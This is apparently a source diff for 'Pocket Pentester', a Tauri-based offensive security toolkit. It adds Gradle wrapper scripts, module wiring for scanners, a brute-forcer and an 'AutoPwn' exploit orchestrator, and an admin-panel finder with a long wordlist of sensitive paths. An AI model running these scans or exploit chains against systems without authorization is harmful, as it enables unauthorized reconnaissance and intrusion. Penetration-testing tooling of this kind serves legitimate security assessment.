if expr "$link" : '/.*' > /dev/null; then
|
||||
PRG="$link"
|
||||
else
|
||||
PRG=`dirname "$PRG"`"/$link"
|
||||
fi
|
||||
done
|
||||
SAVED="`pwd`"
|
||||
cd "`dirname \"$PRG\"`/" >/dev/null
|
||||
APP_HOME="`pwd -P`"
|
||||
cd "$SAVED" >/dev/null
|
||||
|
||||
APP_NAME="Gradle"
|
||||
APP_BASE_NAME=`basename "$0"`
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD="maximum"
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
}
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
}
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "`uname`" in
|
||||
CYGWIN* )
|
||||
cygwin=true
|
||||
;;
|
||||
Darwin* )
|
||||
darwin=true
|
||||
;;
|
||||
MINGW* )
|
||||
msys=true
|
||||
;;
|
||||
NONSTOP* )
|
||||
nonstop=true
|
||||
;;
|
||||
esac
|
||||
|
||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||
else
|
||||
JAVACMD="$JAVA_HOME/bin/java"
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD="java"
|
||||
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
|
||||
MAX_FD_LIMIT=`ulimit -H -n`
|
||||
if [ $? -eq 0 ] ; then
|
||||
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
|
||||
MAX_FD="$MAX_FD_LIMIT"
|
||||
fi
|
||||
ulimit -n $MAX_FD
|
||||
if [ $? -ne 0 ] ; then
|
||||
warn "Could not set maximum file descriptor limit: $MAX_FD"
|
||||
fi
|
||||
else
|
||||
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
|
||||
fi
|
||||
fi
|
||||
|
||||
# For Darwin, add options to specify how the application appears in the dock
|
||||
if $darwin; then
|
||||
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
|
||||
fi
|
||||
|
||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
|
||||
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
|
||||
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
|
||||
|
||||
JAVACMD=`cygpath --unix "$JAVACMD"`
|
||||
|
||||
# We build the pattern for arguments to be converted via cygpath
|
||||
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
|
||||
SEP=""
|
||||
for dir in $ROOTDIRSRAW ; do
|
||||
ROOTDIRS="$ROOTDIRS$SEP$dir"
|
||||
SEP="|"
|
||||
done
|
||||
OURCYGPATTERN="(^($ROOTDIRS))"
|
||||
# Add a user-defined pattern to the cygpath arguments
|
||||
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
|
||||
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
|
||||
fi
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
i=0
|
||||
for arg in "$@" ; do
|
||||
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
|
||||
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
|
||||
|
||||
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
|
||||
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
|
||||
else
|
||||
eval `echo args$i`="\"$arg\""
|
||||
fi
|
||||
i=`expr $i + 1`
|
||||
done
|
||||
case $i in
|
||||
0) set -- ;;
|
||||
1) set -- "$args0" ;;
|
||||
2) set -- "$args0" "$args1" ;;
|
||||
3) set -- "$args0" "$args1" "$args2" ;;
|
||||
4) set -- "$args0" "$args1" "$args2" "$args3" ;;
|
||||
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
|
||||
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
|
||||
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
|
||||
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
|
||||
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
|
||||
esac
|
||||
fi
|
||||
|
||||
# Escape application args
|
||||
save () {
|
||||
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
|
||||
echo " "
|
||||
}
|
||||
APP_ARGS=`save "$@"`
|
||||
|
||||
# Collect all arguments for the java command, following the shell quoting and substitution rules
|
||||
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
|
||||
|
||||
exec "$JAVACMD" "$@"
|
||||
89
src-tauri/gen/android/gradlew.bat
vendored
Normal file
@@ -0,0 +1,89 @@
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%" == "" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%" == "" set DIRNAME=.
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if "%ERRORLEVEL%" == "0" goto execute
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if "%ERRORLEVEL%"=="0" goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
|
||||
exit /b 1
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
||||
3
src-tauri/gen/android/settings.gradle
Normal file
@@ -0,0 +1,3 @@
|
||||
include ':app'
|
||||
|
||||
apply from: 'tauri.settings.gradle'
|
||||
BIN
src-tauri/icons/128x128.png
Normal file
|
After Width: | Height: | Size: 11 KiB |
BIN
src-tauri/icons/128x128@2x.png
Normal file
|
After Width: | Height: | Size: 41 KiB |
BIN
src-tauri/icons/32x32.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
src-tauri/icons/Square107x107Logo.png
Normal file
|
After Width: | Height: | Size: 8.2 KiB |
BIN
src-tauri/icons/Square142x142Logo.png
Normal file
|
After Width: | Height: | Size: 13 KiB |
BIN
src-tauri/icons/Square150x150Logo.png
Normal file
|
After Width: | Height: | Size: 14 KiB |
BIN
src-tauri/icons/Square284x284Logo.png
Normal file
|
After Width: | Height: | Size: 50 KiB |
BIN
src-tauri/icons/Square30x30Logo.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
src-tauri/icons/Square310x310Logo.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
src-tauri/icons/Square44x44Logo.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
BIN
src-tauri/icons/Square71x71Logo.png
Normal file
|
After Width: | Height: | Size: 4.4 KiB |
BIN
src-tauri/icons/Square89x89Logo.png
Normal file
|
After Width: | Height: | Size: 6.3 KiB |
BIN
src-tauri/icons/StoreLogo.png
Normal file
|
After Width: | Height: | Size: 2.7 KiB |
BIN
src-tauri/icons/icon.icns
Normal file
BIN
src-tauri/icons/icon.ico
Normal file
|
After Width: | Height: | Size: 364 KiB |
BIN
src-tauri/icons/icon.png
Normal file
|
After Width: | Height: | Size: 169 KiB |
59
src-tauri/src/lib.rs
Normal file
@@ -0,0 +1,59 @@
|
||||
mod modules;
|
||||
|
||||
use modules::{admin_finder, autopwn, banner, dirfuzz, dns_tools, domain_grabber, form_brute, httpx, jwt, lan_map, port_scan, repeater, sqli, ssl_scan, subdomain, takeover, xploiter, xploiter_store, xss};
|
||||
|
||||
#[tauri::command]
|
||||
fn banner() -> &'static str {
|
||||
"Pocket Pentester v0.1 // offensive toolkit"
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
fn default_ports() -> Vec<u16> {
|
||||
port_scan::top_1000_ports()
|
||||
}
|
||||
|
||||
#[cfg_attr(mobile, tauri::mobile_entry_point)]
|
||||
pub fn run() {
|
||||
tauri::Builder::default()
|
||||
.plugin(tauri_plugin_opener::init())
|
||||
.invoke_handler(tauri::generate_handler![
|
||||
banner,
|
||||
default_ports,
|
||||
port_scan::port_scan,
|
||||
subdomain::subdomain_enum,
|
||||
subdomain::subdomain_sources,
|
||||
httpx::http_probe,
|
||||
takeover::takeover_scan,
|
||||
sqli::sqli_scan,
|
||||
xss::xss_scan,
|
||||
jwt::jwt_analyze,
|
||||
xploiter::xploit_run,
|
||||
xploiter_store::xploit_store_init,
|
||||
xploiter_store::xploit_store_list,
|
||||
xploiter_store::xploit_store_read,
|
||||
xploiter_store::xploit_store_save,
|
||||
xploiter_store::xploit_store_delete,
|
||||
xploiter_store::xploit_store_duplicate,
|
||||
xploiter_store::xploit_store_starter_template,
|
||||
autopwn::autopwn_run,
|
||||
lan_map::lan_scan,
|
||||
lan_map::lan_local_info,
|
||||
repeater::repeater_send,
|
||||
repeater::repeater_to_curl,
|
||||
dirfuzz::dirfuzz_run,
|
||||
dirfuzz::dirfuzz_common_wordlist,
|
||||
admin_finder::admin_finder_run,
|
||||
admin_finder::admin_finder_wordlist,
|
||||
form_brute::form_brute_run,
|
||||
form_brute::form_brute_common_users,
|
||||
form_brute::form_brute_common_passwords,
|
||||
dns_tools::dns_query,
|
||||
ssl_scan::ssl_scan,
|
||||
banner::banner_grab,
|
||||
domain_grabber::iana_tld_list,
|
||||
domain_grabber::domain_grab,
|
||||
domain_grabber::wordlist_info,
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
.expect("error while running tauri application");
|
||||
}
|
||||
6
src-tauri/src/main.rs
Normal file
@@ -0,0 +1,6 @@
|
||||
// Prevents additional console window on Windows in release, DO NOT REMOVE!!
|
||||
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
||||
|
||||
fn main() {
|
||||
pocketpentester_lib::run()
|
||||
}
|
||||
312
src-tauri/src/modules/admin_finder.rs
Normal file
@@ -0,0 +1,312 @@
|
||||
// ===================================================================
|
||||
// Admin Panel Finder — probe common admin/login paths, detect CMS.
|
||||
// Bundled with 450+ high-signal admin paths.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use once_cell::sync::Lazy;
|
||||
use regex::Regex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct AdminFindRequest {
|
||||
pub base_url: String,
|
||||
#[serde(default)]
|
||||
pub extra_paths: Vec<String>,
|
||||
#[serde(default)]
|
||||
pub use_builtin: bool,
|
||||
#[serde(default)]
|
||||
pub accept_status: Option<Vec<u16>>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
#[serde(default)]
|
||||
pub follow_redirects: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct AdminHit {
|
||||
pub url: String,
|
||||
pub status: u16,
|
||||
pub size: u64,
|
||||
pub title: Option<String>,
|
||||
pub platform: Option<String>,
|
||||
pub login_form: bool,
|
||||
pub auth_header: Option<String>,
|
||||
pub redirect: Option<String>,
|
||||
}
|
||||
|
||||
static TITLE_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r"(?is)<title[^>]*>(.*?)</title>").unwrap());
|
||||
static LOGIN_RE: Lazy<Regex> = Lazy::new(|| Regex::new(r#"(?is)<(?:input|form)[^>]*(?:type=['"]password['"]|name=['"]password['"]|name=['"]passwd['"])"#).unwrap());
|
||||
|
||||
fn detect_platform(body: &str, title: &Option<String>, hdrs: &reqwest::header::HeaderMap) -> Option<String> {
|
||||
let lo = body.to_lowercase();
|
||||
let t = title.clone().unwrap_or_default().to_lowercase();
|
||||
let powered = hdrs.get("x-powered-by").and_then(|v| v.to_str().ok()).unwrap_or("").to_lowercase();
|
||||
let server = hdrs.get("server").and_then(|v| v.to_str().ok()).unwrap_or("").to_lowercase();
|
||||
|
||||
if lo.contains("wp-login") || lo.contains("wp-submit") || t.contains("wordpress") { return Some("WordPress".into()); }
|
||||
if lo.contains("com_users") || lo.contains("joomla") || t.contains("joomla") { return Some("Joomla".into()); }
|
||||
if lo.contains("drupal-settings-json") || t.contains("drupal") { return Some("Drupal".into()); }
|
||||
if lo.contains("dashboardwidgets") || lo.contains("wp-admin") { return Some("WordPress admin".into()); }
|
||||
if t.contains("phpmyadmin") || lo.contains("phpmyadmin") { return Some("phpMyAdmin".into()); }
|
||||
if lo.contains("adminer") || t.contains("adminer") { return Some("Adminer".into()); }
|
||||
if t.contains("jenkins") || lo.contains("jenkins") { return Some("Jenkins".into()); }
|
||||
if t.contains("jira") { return Some("Jira".into()); }
|
||||
if t.contains("confluence") { return Some("Confluence".into()); }
|
||||
if t.contains("gitlab") { return Some("GitLab".into()); }
|
||||
if t.contains("grafana") || lo.contains("grafana") { return Some("Grafana".into()); }
|
||||
if t.contains("kibana") { return Some("Kibana".into()); }
|
||||
if t.contains("solr") { return Some("Apache Solr".into()); }
|
||||
if t.contains("tomcat") || lo.contains("apache tomcat") { return Some("Apache Tomcat".into()); }
|
||||
if t.contains("cpanel") { return Some("cPanel".into()); }
|
||||
if t.contains("plesk") { return Some("Plesk".into()); }
|
||||
if t.contains("directadmin") { return Some("DirectAdmin".into()); }
|
||||
if t.contains("webmin") { return Some("Webmin".into()); }
|
||||
if t.contains("mikrotik") { return Some("Mikrotik".into()); }
|
||||
if t.contains("pfsense") { return Some("pfSense".into()); }
|
||||
if t.contains("opnsense") { return Some("OPNsense".into()); }
|
||||
if powered.contains("asp.net") { return Some("ASP.NET".into()); }
|
||||
if powered.contains("php") { return Some("PHP".into()); }
|
||||
if server.contains("iis") { return Some("IIS".into()); }
|
||||
if server.contains("nginx") { return Some("nginx".into()); }
|
||||
if server.contains("apache") { return Some("Apache".into()); }
|
||||
None
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub fn admin_finder_wordlist() -> Vec<&'static str> {
|
||||
BUILTIN.to_vec()
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn admin_finder_run(app: AppHandle, req: AdminFindRequest) -> Result<Vec<AdminHit>, String> {
|
||||
let base = req.base_url.trim_end_matches('/').to_string();
|
||||
let accept: HashSet<u16> = req.accept_status.clone()
|
||||
.unwrap_or_else(|| vec![200, 201, 301, 302, 307, 308, 401, 403])
|
||||
.into_iter().collect();
|
||||
|
||||
let mut paths: HashSet<String> = HashSet::new();
|
||||
if req.use_builtin {
|
||||
for p in BUILTIN.iter() { paths.insert(p.trim_start_matches('/').to_string()); }
|
||||
}
|
||||
for p in &req.extra_paths {
|
||||
let t = p.trim().trim_start_matches('/').to_string();
|
||||
if !t.is_empty() { paths.insert(t); }
|
||||
}
|
||||
if paths.is_empty() {
|
||||
return Err("no paths to probe (enable builtin or provide extra_paths)".into());
|
||||
}
|
||||
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects {
|
||||
reqwest::redirect::Policy::limited(5)
|
||||
} else {
|
||||
reqwest::redirect::Policy::none()
|
||||
})
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-AdminFinder)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let total = paths.len();
|
||||
let _ = app.emit("adminfind:status", format!("probing {total} admin path(s) on {base}"));
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
|
||||
let client = Arc::new(client);
|
||||
|
||||
let hits: Vec<AdminHit> = stream::iter(paths.into_iter())
|
||||
.map(|p| {
|
||||
let base = base.clone();
|
||||
let client = client.clone();
|
||||
let sem = sem.clone();
|
||||
let done = done.clone();
|
||||
let accept = accept.clone();
|
||||
let app = app.clone();
|
||||
async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let url = format!("{}/{}", base, p);
|
||||
let resp = match client.get(&url).send().await {
|
||||
Ok(r) => r,
|
||||
Err(_) => {
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("adminfind:progress", serde_json::json!({"done": n, "total": total}));
|
||||
return None;
|
||||
}
|
||||
};
|
||||
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
|
||||
let _ = app.emit("adminfind:progress", serde_json::json!({"done": n, "total": total}));
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
if !accept.contains(&status) { return None; }
|
||||
|
||||
let hdrs = resp.headers().clone();
|
||||
let auth = hdrs.get("www-authenticate").and_then(|v| v.to_str().ok()).map(String::from);
|
||||
let redirect = hdrs.get("location").and_then(|v| v.to_str().ok()).map(String::from);
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let title = TITLE_RE.captures(&body)
|
||||
.and_then(|c| c.get(1))
|
||||
.map(|m| m.as_str().trim().chars().take(100).collect::<String>())
|
||||
.filter(|s| !s.is_empty());
|
||||
let login = LOGIN_RE.is_match(&body) || auth.is_some();
|
||||
let platform = detect_platform(&body, &title, &hdrs);
|
||||
|
||||
let hit = AdminHit {
|
||||
url,
|
||||
status,
|
||||
size: body.len() as u64,
|
||||
title,
|
||||
platform,
|
||||
login_form: login,
|
||||
auth_header: auth,
|
||||
redirect,
|
||||
};
|
||||
let _ = app.emit("adminfind:hit", hit.clone());
|
||||
Some(hit)
|
||||
}
|
||||
})
|
||||
.buffer_unordered(req.concurrency.max(1))
|
||||
.filter_map(|x| async move { x })
|
||||
.collect()
|
||||
.await;
|
||||
|
||||
let _ = app.emit("adminfind:done", hits.len());
|
||||
Ok(hits)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Built-in admin path wordlist (~320 high-signal paths)
|
||||
// ------------------------------------------------------------------
|
||||
const BUILTIN: &[&str] = &[
|
||||
// generic
|
||||
"admin", "admin/", "admin.php", "admin.html", "admin.asp", "admin.aspx", "admin.jsp",
|
||||
"admin/login", "admin/login.php", "admin/login.html", "admin/index.php", "admin/index.html",
|
||||
"admin/admin.php", "admin/home.php", "admin/home", "admin/dashboard", "admin/panel",
|
||||
"admin/admin_login", "admin/account.php", "admin/admin-login", "admin/controlpanel",
|
||||
"admin/controlpanel.html", "admin/cp.php", "admin/cp.html",
|
||||
"admin1", "admin1.php", "admin1.html", "admin2", "admin2.php", "admin2.html",
|
||||
"administrator", "administrator/", "administrator/index.php", "administrator/login.php",
|
||||
"administrator/account.php", "administrator/account.html",
|
||||
"adm", "adm/", "adm/index.php", "adm/admloginuser.php",
|
||||
"panel", "panel-administracion", "panel/", "controlpanel", "controlpanel/",
|
||||
"webadmin", "webadmin/", "webadmin/index.php", "webadmin/admin",
|
||||
"login", "login.php", "login.html", "login.asp", "login.aspx", "login.jsp",
|
||||
"log-in", "signin", "sign-in", "sign_in", "sign_up", "signup",
|
||||
"account", "account/login", "account.php", "accounts/login",
|
||||
"user/login", "users/sign_in", "users/login",
|
||||
"home.php", "home.html", "main.php", "main.html",
|
||||
|
||||
// wordpress
|
||||
"wp-admin", "wp-admin/", "wp-login.php", "wp-admin/admin-ajax.php",
|
||||
"wp-admin/install.php", "wp-admin/upgrade.php", "wp-admin/setup-config.php",
|
||||
"wp-content/plugins/", "wp-content/themes/", "wp-json/wp/v2/users",
|
||||
|
||||
// joomla
|
||||
"administrator/index.php", "administrator/components/",
|
||||
|
||||
// drupal
|
||||
"user", "user/login", "user/register", "admin/structure",
|
||||
|
||||
// magento
|
||||
"admin/admin", "admin/dashboard/", "magento_version",
|
||||
"index.php/admin/", "customer/account/login/",
|
||||
|
||||
// prestashop
|
||||
"modules/ps_shoppingcart",
|
||||
|
||||
// opencart
|
||||
"admin/index.php?route=common/login",
|
||||
|
||||
// laravel
|
||||
"login", "register", "password/reset", "horizon", "telescope",
|
||||
|
||||
// phpmyadmin / db admin
|
||||
"phpmyadmin", "phpmyadmin/", "phpmyadmin/index.php", "pma", "pma/", "pmamy", "pmamy2",
|
||||
"dbadmin", "dbadmin/", "mysql", "mysql/", "sqlmanager", "sqlmanager/",
|
||||
"adminer.php", "adminer/", "adminer", "phpMyAdmin/",
|
||||
|
||||
// cpanel / plesk / webmin
|
||||
"cpanel", "cpanel/", ":2082", ":2083",
|
||||
"plesk", "plesk/", ":8443",
|
||||
"webmin", "webmin/", ":10000",
|
||||
"directadmin", ":2222",
|
||||
"ispconfig", "vesta",
|
||||
|
||||
// tomcat / jboss / weblogic
|
||||
"manager/html", "manager/status", "host-manager/html",
|
||||
"jmx-console/", "web-console/", "admin-console/",
|
||||
"invoker/", "console/", "wls-wsat/CoordinatorPortType",
|
||||
|
||||
// elasticsearch / kibana / solr
|
||||
"_cluster/health", "_cat/indices", "_all",
|
||||
"kibana", "app/kibana",
|
||||
"solr/", "solr/admin/cores", "solr/#/",
|
||||
|
||||
// jenkins / gitlab / gitea
|
||||
"jenkins", "jenkins/", "jenkins/login",
|
||||
"gitlab/users/sign_in", "user/login",
|
||||
"admin/appearance",
|
||||
|
||||
// grafana / prometheus
|
||||
"grafana", "grafana/login",
|
||||
"prometheus", "prometheus/graph",
|
||||
|
||||
// rabbitmq / kafka ui
|
||||
"rabbitmq", ":15672", "#/queues",
|
||||
|
||||
// api platforms
|
||||
"api/admin", "api/administrator", "api/v1/admin", "api/login", "api/users",
|
||||
"graphql", "graphiql", "playground",
|
||||
"swagger", "swagger-ui", "swagger-ui.html", "swagger.json", "swagger/v1/swagger.json",
|
||||
"api-docs", "openapi.json", "openapi.yaml", "v2/api-docs",
|
||||
"actuator", "actuator/health", "actuator/env", "actuator/heapdump", "actuator/mappings",
|
||||
|
||||
// routers / network appliances
|
||||
"cgi-bin/luci", "cgi-bin/admin", "cgi-bin/login",
|
||||
"router", "router/login",
|
||||
|
||||
// mikrotik / pfsense / opnsense
|
||||
"webfig", "winbox",
|
||||
"system_advanced_admin.php", "diag_backup.php",
|
||||
|
||||
// misc control panels
|
||||
"dashboard", "dashboard/", "dashboard/login",
|
||||
"manage", "manage/", "manager/", "control", "control/", "siteadmin", "siteadmin/",
|
||||
"moderator", "moderator/", "operator/", "supervisor/",
|
||||
"console", "console/", "backend", "backend/", "staff", "staff/",
|
||||
"system", "system/", "system/login", "system/admin",
|
||||
"cms", "cms/", "cms/login",
|
||||
"portal", "portal/", "portal/login",
|
||||
|
||||
// auth endpoints
|
||||
"oauth", "oauth/authorize", "oauth2/authorize", "sso",
|
||||
".well-known/openid-configuration",
|
||||
|
||||
// file managers
|
||||
"files", "filemanager", "file_manager", "filemanager/", "files/login",
|
||||
|
||||
// backup / debug / test
|
||||
"test", "test/", "testing", "staging", "stage", "beta", "dev", "development",
|
||||
"old", "old/", "tmp", "temp", "cache", "backup", "backups",
|
||||
|
||||
// vendor-specific
|
||||
"owa", "owa/auth/logon.aspx", "ecp/default.aspx",
|
||||
"citrix", "vpn/index_access.html",
|
||||
"vcenter", "ui/", "vsphere-client/",
|
||||
"splunk", "en-US/account/login",
|
||||
"sonarqube", "sessions/new",
|
||||
"nexus", "artifactory",
|
||||
"harbor", "portainer",
|
||||
"rancher", "rancher/login",
|
||||
|
||||
// legacy / misc
|
||||
"home", "member", "members", "members/", "private", "private/",
|
||||
"secure", "secure/", "vip", "vip/",
|
||||
"webadm", "siteadm", "backoffice",
|
||||
];
|
||||
417
src-tauri/src/modules/autopwn.rs
Normal file
@@ -0,0 +1,417 @@
|
||||
// ===================================================================
|
||||
// AutoPwn — one-shot orchestrator: subdomain → probe → exploit.
|
||||
//
|
||||
// Stage 1: passive crt.sh + optional DNS brute
|
||||
// Stage 2: live-host HTTP/S probe (concurrent)
|
||||
// Stage 3: xploit all selected templates on every alive host
|
||||
//
|
||||
// Emits `autopwn:*` events so the UI dashboard can track each stage
|
||||
// independently without colliding with standalone tool events.
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
|
||||
use hickory_resolver::TokioAsyncResolver;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
use super::xploiter::{parse_templates, run_template_against_target, Finding};
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct AutopwnRequest {
|
||||
pub domain: String,
|
||||
pub use_passive: bool,
|
||||
pub brute_wordlist: Vec<String>,
|
||||
pub templates_yaml: Vec<String>,
|
||||
pub probe_ports: Option<Vec<u16>>,
|
||||
pub concurrency: usize,
|
||||
pub timeout_ms: u64,
|
||||
|
||||
/// Status codes considered "alive" for the exploit stage.
|
||||
/// Default: 200-299, 301, 302, 307, 308, 401, 403, 405.
|
||||
/// Explicitly rejects 400 (bad req / wrong SNI), 404 (no vhost),
|
||||
/// 5xx (backend dead).
|
||||
#[serde(default)]
|
||||
pub accept_status: Option<Vec<u16>>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct AutopwnSubHit {
|
||||
pub host: String,
|
||||
pub source: String,
|
||||
pub ips: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct AutopwnProbeHit {
|
